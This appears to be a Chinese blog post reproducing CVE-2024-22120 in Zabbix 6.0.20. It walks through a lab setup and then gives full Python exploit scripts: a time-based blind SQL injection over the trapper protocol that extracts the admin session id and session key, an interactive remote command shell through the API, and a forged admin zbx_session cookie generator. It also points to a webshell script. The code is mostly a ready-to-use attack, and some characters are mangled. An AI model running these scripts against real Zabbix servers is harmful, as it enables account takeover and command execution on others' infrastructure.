Zabbix低权限SQL注入至RCE+权限绕过，可惜没找到关于传webshell的好方法，如有大神告知，感激万分！
本文中所有代码以及后续更新都会放在我的github仓库中：
https://github.com/W01fh4cker/CVE-2024-22120-RCE
一、漏洞环境搭建
1.1 下载vmware镜像并设置
源码地址：
https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz
Eclipse搭建调试环境的参考文章：
https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ
直接懒人一键搭建：
https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz
解压之后，vmware直接打开vmx文件，默认账号密码是root/zabbix。
登录之后执行命令visudo，在底下添加一行：
zabbix ALL=(ALL) NOPASSWD:ALL
如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试，反正我只加这一行就行了：
https://www.cnblogs.com/gqdw/p/3844881.html
为了方便测试，我们可以本地navicat连接环境的mysql数据库：
mysql -uroot
SET PASSWORD = ‘zabbix’;
use mysql;
select host, user from user;
update user set host = ‘%’ where user =‘root’;
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
service iptables save
1.2 漏洞环境设置
然后就是需要一些设置，首先需要添加一个用户，但是默认的User Role是没有HOSTS的查看权限的，所以需要先去开权限：
然后至少给一个读的权限，并点击Add：
现在开始添加用户：
组就选我们刚刚设置过的Guests：
角色选择User Role：
为什么说这个漏洞鸡肋呢，提交漏洞的作者说了，需要一个低权限用户，并且该用户需要具有Detect operating system的权限，但是这个操作默认的是没有的，只有管理员用户组才有：
需要手动设置用户组为全部或者Guests：
到这里就可以了，然后按照作者给出的复现步骤复现即可：
https://support.zabbix.com/browse/ZBX-24505
二、漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
作者给出的脚本如下：
https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py
他说可以延迟获取管理员的session id，但是我本地复现的时候获取的全0：
登录数据库发现，有多个sessionid，需要加一个limit 1：
因此我们可以修改代码如下：
import json
import argparse
from pwn import *
from datetime import datetime
def send_message(ip, port, sid, hostid, injection):
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “3”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_length + message_json.encode()
#print(“Sending message %s” % message)
r = remote(ip, port, level=‘debug’)
r.send(message)
response = r.recv(1024)
r.close()
print(response)
def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
print(“\n(+) trying c=%s” % c, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print(“(+) session_id=%s” % session_id, end=“”, flush=True)
break
print(“\n”)
return session_id
def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
print(“\n(+) trying c=%s” % c, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print(“(+) session_key=%s” % token, end=“”, flush=True)
break
print(“\n”)
return token
def tiny_poc(ip, port, sid, hostid):
print(“(+) Running simple PoC…\n”, end=“”, flush=True)
print(“(+) Sleeping for 1 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(1))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query-before_query))
print(“(+) Sleeping for 5 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(5))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query - before_query))
print(“(+) Sleeping for 10 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(10))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query - before_query))
def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
print(“(+) Sending SQL request for MySQL version…\n”, end=“”, flush=True)
query = “(version())”
send_message(ip, port, sid, hostid, query)
if name == “main”:
parser = argparse.ArgumentParser(description=‘Command-line option parser example’)
parser.add_argument(“–false_time”, help=“Time to sleep in case of wrong guess(make it smaller than true time, default=1)”, default=“1”)
parser.add_argument(“–true_time”, help=“Time to sleep in case of right guess(make it bigger than false time, default=10)”, default=“10”)
parser.add_argument(“–ip”, help=“Zabbix server IP”)
parser.add_argument(“–port”, help=“Zabbix server port(default=10051)”, default=“10051”)
parser.add_argument(“–sid”, help=“Session ID of low privileged user”)
parser.add_argument(“–hostid”, help=“hostid of any host accessible to user with defined sid”)
parser.add_argument(“–poc”, action=‘store_true’, help=“Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server”, default=False)
parser.add_argument(“–poc2”, action=‘store_true’, help=“Use this key to simply generate error in zabbix logs, check logs later to see results”, default=False)
args = parser.parse_args()
if args.poc:
tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
elif args.poc2:
poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
else:
print(“(+) Extracting Zabbix config session key…\n”, end=“”, flush=True)
config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print(“(+) config session_key=%s\n” % config_session_key, end=“”, flush=True)
print(“(+) Extracting admin session_id…”)
admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print(“(+) admin session_id=%s\n” % admin_sessionid, end=“”, flush=True)
print(“(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key” % (config_session_key, admin_sessionid))
这样就可以正确获取啦：
有了这个就可以实现RCE了，请看后文。
然后是poc2：
python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2
然后查看日志：
cat /var/log/zabbix/zabbix_server.log | grep “version()”
2.2 利用获取到的管理员session id实现RCE
import requests
import json
ZABIX_ROOT = “http://192.168.198.136”
url = ZABIX_ROOT + “/api_jsonrpc.php”
host_id = “10084”
session_id = “00000000000000000000000000000000”
headers = {
“content-type”: “application/json”,
}
auth = json.loads(‘{“jsonrpc”: “2.0”, “result”: "’ + session_id + ‘", “id”: 0}’)
while True:
cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == “”:
print(“Result of last command:”)
elif cmd == “quit”:
break
payload = {
“jsonrpc”: “2.0”,
“method”: “script.update”,
“params”: {
“scriptid”: “1”,
“command”: “” + cmd + “”
},
“auth”: auth[‘result’],
“id”: 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
payload = {
“jsonrpc”: “2.0”,
“method”: “script.execute”,
“params”: {
“scriptid”: “1”,
“hostid”: “” + host_id + “”
},
“auth”: auth[‘result’],
“id”: 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if “error” not in cmd_exe.text:
print(cmd_exe_json[“result”][“value”])
else:
print(cmd_exe_json[“error”][“data”])
2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面
作者在报告中提了一嘴有session_id和session_key就可以得到sign值，然后就可以拼出zbx_session：
网上也没找到相应的成品代码，那就去翻源码。
zabbix-6.0.20\ui\include\classes\core\CCookieSession.php这里面的代码是用来处理和session相关的操作的，代码也是写的通俗易懂：
就是做一个SHA256的hash操作，那感情好啊，直接写出php形式的poc：
<?php function sign(string $data): string { $key = "927f855d3388d6daedb153d3de864970"; return hash_hmac("sha256", $data, $key); } function prepareData(array $data): string { $data['sign'] = sign(json_encode($data)); return base64_encode(json_encode($data)); } function set(string $key, $value):array { $_SESSION[$key] = $value; return $_SESSION; } set("sessionid", "be52fe697c5935099d441f03c5c68bff"); set("serverCheckResult", true); $session_ = set("serverCheckTime", time()); $res = prepareData($session_); echo $res; ?>改成python代码的时候需要注意字典的item的位置问题，示例代码如下：
def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode(‘utf-8’), hashlib.sha256).hexdigest()
def prepare_data(data: dict) -> str:sorted_data = OrderedDict(data.items())sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')session = {"sessionid": sessionid,"serverCheckResult": True,"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res
完整的代码：
import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime
def SendMessage(ip, port, sid, hostid, injection):
context.log_level = “CRITICAL”
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “1”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level=“CRITICAL”)
r.send(message)
r.recv(1024)
r.close()
def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
token = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print(“(+) session_key=%s” % token, flush=True)
break
return token
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
session_id = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print(“(+) session_id=%s” % session_id, flush=True)
break
return session_id
def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode(‘utf-8’), hashlib.sha256).hexdigest()
def prepare_data(data: dict) -> str:sorted_data = OrderedDict(data.items())sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')session = {"sessionid": sessionid,"serverCheckResult": True,"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res
def CheckAdminSession(ip, admin_session):
proxy = {
“https”: “http://127.0.0.1:8083”,
“http”: “http://127.0.0.1:8083”
}
url = f"http://{ip}/zabbix.php?action=dashboard.view"
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”,
“Cookie”: f"zbx_session={admin_session}"
}
resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
if “Administration” in resp.text and resp.status_code == 200:
return admin_session
else:
return None
if name == “main”:
parser = argparse.ArgumentParser(description=“CVE-2024-22120-LoginAsAdmin”)
parser.add_argument(“–false_time”,
help=“Time to sleep in case of wrong guess(make it smaller than true time, default=1)”,
default=“1”)
parser.add_argument(“–true_time”,
help=“Time to sleep in case of right guess(make it bigger than false time, default=10)”,
default=“10”)
parser.add_argument(“–ip”, help=“Zabbix server IP”)
parser.add_argument(“–port”, help=“Zabbix server port(default=10051)”, default=“10051”)
parser.add_argument(“–sid”, help=“Session ID of low privileged user”)
parser.add_argument(“–hostid”, help=“hostid of any host accessible to user with defined sid”)
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
admin_session = GenerateAdminSession(admin_sessionid, session_key)
res = CheckAdminSession(args.ip, admin_session)
if res is not None:
print(f"try replace cookie with:\nzbx_session={res}")
else:
print(“failed”)
完整的演示效果如下：
可以看到这里是用户vulntest的界面：
然后运行拿到session：
替换cookie中对应的参数，然后刷新：
即可看到是Zabbix Administrator了，实现了从用户界面到管理界面的转换：
2.4 写Webshell
没有花时间研究其他办法了，因为运行用户是zabbix，等级太低了，所以默认情况下是没权限去echo写马的，但是我还是把对应的脚本传上去了：
https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-Webshell.py
网上对于这方面的研究不多，看到一篇灼剑安全团队的N0r4h师傅写的文章：
https://mp.weixin.qq.com/s/XKhmivS1_TarPD5yKgzQwA
他也提到了无法直接echo写马，但是他当时遇到的环境是存在pkexec的，所以有了后续的利用。
但是默认肯定是没有的：
三、代码分析（略）
问题出在如下位置，就不花时间仔细调试了
![[vulnhub]DC: 1](https://i-blog.csdnimg.cn/direct/453b3b8ca80a4105ace131a99f02f70f.png)
